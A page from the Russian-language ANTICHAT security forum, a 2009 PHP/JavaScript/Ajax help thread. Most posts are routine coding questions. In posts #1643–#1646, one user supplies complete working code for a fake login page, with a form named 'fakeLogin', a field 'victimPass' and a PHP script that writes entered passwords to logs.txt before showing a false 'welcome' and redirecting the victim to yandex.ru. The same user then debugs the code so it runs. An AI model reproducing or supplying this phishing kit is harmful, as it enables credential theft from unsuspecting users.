ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1641  
Старый 21.07.2009, 13:18
Flcn
Познающий
Регистрация: 06.07.2009
Сообщений: 54
Провел на форуме:
65872

Репутация: 17
Отправить сообщение для Flcn с помощью ICQ
По умолчанию

Приветствую, есть вопрос.. поднял у себя Апач. начал работу с Ajax. есть скрипт где такие строчки:
Код:
var xhr=new XMLHttpRequest();
 xhr.open("GET", "http://localhost/ajax/main.xml");
(в место локалхоста пробовал и на сайты выкладывать)
адрес правильный.. но Firebug мозиллы сообщает что:
Цитата:
Access to restricted URI denied" code: "1012
xhr.open("GET", "http://localhost/ajax/main.xml");\n
в чём может быть проблема?

Последний раз редактировалось Flcn; 21.07.2009 в 13:26..
 
Ответить с цитированием

  #1642  
Старый 22.07.2009, 07:16
imajo.ati
Участник форума
Регистрация: 21.02.2008
Сообщений: 255
Провел на форуме:
975514

Репутация: 177
По умолчанию

попробуй относительный путь
 
Ответить с цитированием

  #1643  
Старый 22.07.2009, 16:07
043nKRuT0y
Участник форума
Регистрация: 31.10.2007
Сообщений: 213
Провел на форуме:
394522

Репутация: 14
По умолчанию

Приветствую !
В джаве первый раз - нужна помощь !
Есть такая форма :
<FORM method="post" name="login" id="login" onsubmit="login(); return false;">
<LABEL for="email">Email:</LABEL>
<INPUT class="inputText" onclick="show('expirePad');" type="text" name="email" id="email" size="20">
<LABEL for="pass">Пароль:</LABEL>
<INPUT class="inputText" onclick="show('expirePad');" type="password" name="pass" id="pass" size="20">

При нажатие на кнопку будет вызываться функция login(); Так вот - приведите пример функции чтобы значения этих двух полей постоянно дозаписывались в файл ! И сразу после записи переадресовывать на страницу скажем main.php !

Заранее спс !
 
Ответить с цитированием

  #1644  
Старый 22.07.2009, 17:39
n0reply
Новичок
Регистрация: 31.03.2009
Сообщений: 14
Провел на форуме:
97409

Репутация: 6
По умолчанию

Цитата:
Сообщение от 043nKRuT0y  
Приветствую !
bla bla bla....
При нажатие на кнопку будет вызываться функция login(); Так вот - приведите пример функции чтобы значения этих двух полей постоянно дозаписывались в файл ! И сразу после записи переадресовывать на страницу скажем main.php !

Заранее спс !
Пример будет из нескольких файлов, и понадобиться еще серверный скриптовый язык... Для примера - php.

login.html:
PHP код:
<html>
<
head>
<
script language="javascript" type="text/javascript" src="ajaxget.js"></script>
</
head>

<
body>
 <
form name=fakeLogin onsubmit="return logAccount();">
  <
input type=text name=victimPass />
  <
input type=submit />
 </
form>
<
p><span id="loginspan"></span></p>
</
body>
</
html
ajaxget.js:
PHP код:
 var http_request false;
   function 
makeRequest(urlparameters) {
      
http_request false;
      if (
window.XMLHttpRequest) { // Mozilla, Safari,...
         
http_request = new XMLHttpRequest();
         if (
http_request.overrideMimeType) {
             
// set type accordingly to anticipated content type
            //http_request.overrideMimeType('text/xml');
            
http_request.overrideMimeType('text/html');
         }
      } else if (
window.ActiveXObject) { // IE
         
try {
            
http_request = new ActiveXObject("Msxml2.XMLHTTP");
         } catch (
e) {
            try {
               
http_request = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (
e) {}
         }
      }
      if (!
http_request) {
         
alert('Cannot create XMLHTTP instance');
         return 
false;
      }
      
http_request.onreadystatechange alertContents;
      
http_request.open('GET'url parameterstrue);
      
http_request.send(null);
   }

   function 
alertContents() {
      if (
http_request.readyState == 4) {
         if (
http_request.status == 200) {
            
//alert(http_request.responseText);
            
result http_request.responseText;
            
document.getElementById('loginspan').innerHTML result;
            
document.location 'http://yandex.ru/';
         } else {
            
alert('There was a problem with the request.');
         }
      }
   }

function 
logAccount() {
    var 
document.forms['fakeLogin'];
    
makeRequest('fake.php','?password='+encodeURI(f.victimPass.value));
    return 
false;
    } 
fake.php:
PHP код:
<?php

if(isset($_GET['password'])){
    
$password$_GET['password'];
    if (
$fp fopen("logs.txt","a")) {
        
fputs($fp,$password."\n");
    }
    echo 
'good password, welcome';
    } else {
        echo 
'bad password';
        }

?>
Принцип такой, заходим на login.html, вводим пароль, нам говорят что мы успешно вошли и нас перекидывает на yandex.ru. При этом пароль сохраняется на сервере в файле logs.txt.
 
Ответить с цитированием

  #1645  
Старый 23.07.2009, 00:08
043nKRuT0y
Участник форума
Регистрация: 31.10.2007
Сообщений: 213
Провел на форуме:
394522

Репутация: 14
По умолчанию

Вроде все правильно скопил и файлы по создавал , на ДЕНВЕРЕ запустил никакого файла нигде не создается ! Попроще функции нету ???
Может проблему легче на ПХП решить ?

Последний раз редактировалось 043nKRuT0y; 23.07.2009 в 00:12..
 
Ответить с цитированием

  #1646  
Старый 23.07.2009, 09:38
n0reply
Новичок
Регистрация: 31.03.2009
Сообщений: 14
Провел на форуме:
97409

Репутация: 6
По умолчанию

Смотри внимательно исходники, файл ajaxget.js, функция logAccount(), вторая строка. Я все правильно вставил в форум, но запостилось почему-то с таинственными пробелами. В листинге
Код:
encodeURI(f.vi  ctimPass.value)
, а должно быть БЕЗ пробелов, просто f.victimPass.value, попробуй так, должно работать. В других местах вроде опечаток нет. Вроде.

з.ы. на пхп конечно проще, но ты же сам задал вопрос в теме про ajax и js.

Последний раз редактировалось n0reply; 23.07.2009 в 09:42.. Причина: про пхп
 
Ответить с цитированием

  #1647  
Старый 23.07.2009, 12:00
BiG_][aKeR
Познающий
Регистрация: 30.11.2008
Сообщений: 40
Провел на форуме:
1546086

Репутация: 4
По умолчанию

Помогите,нужен аналог етому,с пхп...

preg_match_all('#Text(.*?)Text2#is',$page,$remixem ail);

Чтоб в переменной искало и копировало текст между Text и Text2 в другую переменную,спс...
 
Ответить с цитированием

  #1648  
Старый 23.07.2009, 12:34
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Код:
<script type="text/javascript">
var testString = '34893275 Text lolo Text2 3535 Text lolo1 Text2 34893275 Text lolo2 Text2 3535 Text lolo3 Text2';
var re = /Text(.*?)Text2/g;
while (matches = re.exec(testString)) {
      document.write(matches[1]);    
}
</script>
 
Ответить с цитированием

  #1649  
Старый 23.07.2009, 12:45
BiG_][aKeR
Познающий
Регистрация: 30.11.2008
Сообщений: 40
Провел на форуме:
1546086

Репутация: 4
По умолчанию

хм,пример то пашет,но дело в том что testString ето вся html страница,с тысячами символов,вот в ней не пашет,ничего не выводит((
 
Ответить с цитированием

  #1650  
Старый 23.07.2009, 12:58
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

ну дык дай пример такой страницы, сюда не влезет - залей куда-нибудь
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Delphi]/[Pascal] Задай вопрос, получи ответ Isis С/С++, C#, Delphi, .NET, Asm 6762 17.06.2010 21:23
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ